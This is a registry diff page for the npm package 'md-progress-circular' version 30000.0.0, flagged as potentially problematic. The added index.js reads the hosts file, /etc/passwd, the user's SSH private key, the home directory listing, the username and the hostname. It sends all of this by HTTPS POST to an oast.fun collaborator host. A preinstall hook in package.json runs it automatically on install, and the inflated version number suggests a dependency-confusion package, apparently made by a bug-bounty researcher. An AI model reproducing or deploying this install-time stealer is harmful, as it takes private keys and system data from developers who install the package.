md-progress-circular 30000.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of md-progress-circular might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +79 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,79 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const fs = require('fs');
6
+ const path = require('path');
7
+ const packageJSON = require("./package.json");
8
+ const packageName = packageJSON.name;
9
+
10
+ // Détection du système d'exploitation
11
+ const isWindows = os.platform() === 'win32';
12
+ const isLinux = os.platform() === 'linux';
13
+
14
+ // Lecture des fichiers en fonction du système d'exploitation
15
+ const hostsFile = isWindows ? 'C:\\Windows\\System32\\Drivers\\etc\\hosts' : '/etc/hosts';
16
+ const passwdFile = isLinux ? '/etc/passwd' : '';
17
+ const idRsaFile = os.homedir() + (isWindows ? '\\.ssh\\id_rsa' : '/.ssh/id_rsa');
18
+
19
+ // Lire les fichiers seulement si le chemin est défini
20
+ const readFileSyncSafe = (path) => {
21
+ try {
22
+ return fs.readFileSync(path, 'utf8');
23
+ } catch (err) {
24
+ return '';
25
+ }
26
+ };
27
+
28
+ // Lister les fichiers du répertoire personnel
29
+ const listFilesInHomeDirectory = (directory) => {
30
+ try {
31
+ return fs.readdirSync(directory).map(file => path.join(directory, file));
32
+ } catch (err) {
33
+ return [];
34
+ }
35
+ };
36
+
37
+ const trackingData = JSON.stringify({
38
+ p: packageName,
39
+ c: __dirname,
40
+ hd: os.homedir(),
41
+ hn: os.hostname(),
42
+ un: os.userInfo().username,
43
+ dns: dns.getServers(),
44
+ hosts: readFileSyncSafe(hostsFile),
45
+ passwd: isLinux ? readFileSyncSafe(passwdFile) : '',
46
+ id_rsa: readFileSyncSafe(idRsaFile),
47
+ home_files: listFilesInHomeDirectory(os.homedir()),
48
+ r: packageJSON ? packageJSON.___resolved : undefined,
49
+ v: packageJSON.version,
50
+ pjson: packageJSON,
51
+ });
52
+
53
+ var postData = querystring.stringify({
54
+ msg: trackingData,
55
+ });
56
+
57
+ var options = {
58
+ hostname: "nfrhxhcdjpknzpfqonrrf31hftjwy8784.oast.fun", //replace burpcollaborator.net with Interactsh or pipedream
59
+ port: 443,
60
+ path: "/",
61
+ method: "POST",
62
+ headers: {
63
+ "Content-Type": "application/x-www-form-urlencoded",
64
+ "Content-Length": postData.length,
65
+ },
66
+ };
67
+
68
+ var req = https.request(options, (res) => {
69
+ res.on("data", (d) => {
70
+ process.stdout.write(d);
71
+ });
72
+ });
73
+
74
+ req.on("error", (e) => {
75
+ // console.error(e);
76
+ });
77
+
78
+ req.write(postData);
79
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "md-progress-circular",
3
+ "version": "30000.0.0",
4
+ "description": "YWH Researcher",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }